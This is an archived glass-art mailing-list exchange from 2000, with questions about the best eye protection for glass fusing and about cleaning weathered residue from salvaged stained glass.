> lampworked things I've seen.
>
> My question is where is the best place to obtain good protection?  I
certainly
> haven't seen much of a selection in the catalogs I have from glass
suppliers.
> - Cec
>
> Byron Wells wrote:
>
> > Hi all..
> >
> > Was wondering what the best fusing glasses/goggles were? Finally got
around
> > to reading the fall igga newsletter and there was an article in there
that
> > was saying some glasses may not be worth anything...
> >
> > Just getting started in fusing and might as well get the best right off
the
> > bat..
> > Byron...
> > Wells Glassworks
> >
> > ----
> > For subscription changes, please mail to: glass-request@bungi.com
> > To send to the list,      please mail to: glass@bungi.com
> > Archives available at http://www.bungi.com/glass
>
> --
> *********************************************************************
> *  Cecily Taylor Cummings Wood  and/or  Ralph Bernard Wood
> *  Grendel Studio (Glass, Graphics, Gardens, Genealogy)
> *********************************************************************
>
>
>

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From owner-glass Sun Dec 31 15:34:32 2000
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From: Lynda Burleigh <bei@ime.net>
To: glass@bungi.com
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Subject: Cleaning old glass
Date: Sun, 31 Dec 2000 18:20:32 -0500
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Hi All..

I hope I'm doing this right as it's my first time writing to the group.

I have been given pieces of used stained glass that has been removed
from it's original window.
The lead came had been removed....Is there something someone could
suggest for cleaning off the built up residue from element exposure?
The color is a very unusual grape-amythyst colored cathedral that I
would love to reuse.  Is this a no-no?

Thanks,

Lynda



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